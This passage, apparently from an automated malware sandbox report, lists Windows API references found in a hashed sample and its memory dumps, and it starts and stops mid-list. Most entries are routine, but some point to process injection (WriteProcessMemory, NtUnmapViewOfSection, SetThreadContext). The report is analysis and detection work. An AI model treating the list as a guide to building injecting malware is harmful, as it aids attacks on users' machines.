"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetConsoleCP"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetCurrentProcessId"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetModuleFileNameA"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "TlsGetValue"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "CreateFileMappingW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "HeapSize"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetTickCount"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "WriteConsoleW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetStringTypeW"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetACP"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "GetStdHandle"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "InterlockedIncrement"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetStdHandle"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetLastError"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "EnterCriticalSection"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SafeArrayPutElement"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SafeArrayUnaccessData"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SafeArrayGetUBound"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SafeArrayGetLBound"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SysAllocString"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "VariantCopy"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SafeArrayAccessData"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SafeArrayGetElement"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "SysFreeString"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "VariantClear"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "VariantInit"; File: "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13") Found reference to API (Indicator: "StrToInt64ExW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetProcessShutdownParameters"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetNamedSecurityInfoW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetNamedSecurityInfoW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "CommandLineToArgvW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.051D0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceNamesW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "lstrcpynW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "IsBadWritePtr"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "AddAccessAllowedAce"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetAce"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetFileSecurityW"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00005956.00000000.80976.00DE4000.00000002.mdmp") Found reference to API (Indicator: "GetClipboardData"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "SendMessage"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "CreateDirectory"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.051D0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00005956.00000001.81246.020E0000.00000004.mdmp, 00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.051D0000.00000004.mdmp") Found reference to API (Indicator: "CryptAcquireContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "QueueUserWorkItem"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "IsBadReadPtr"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextA"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp, 00000000-00005956.00000001.81246.614C4000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandle"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "CreateProcess"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "Wow64GetThreadContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "Wow64SetThreadContext"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00005956.00000001.81246.04BA0000.00000004.mdmp") Found reference to API (Indicator: 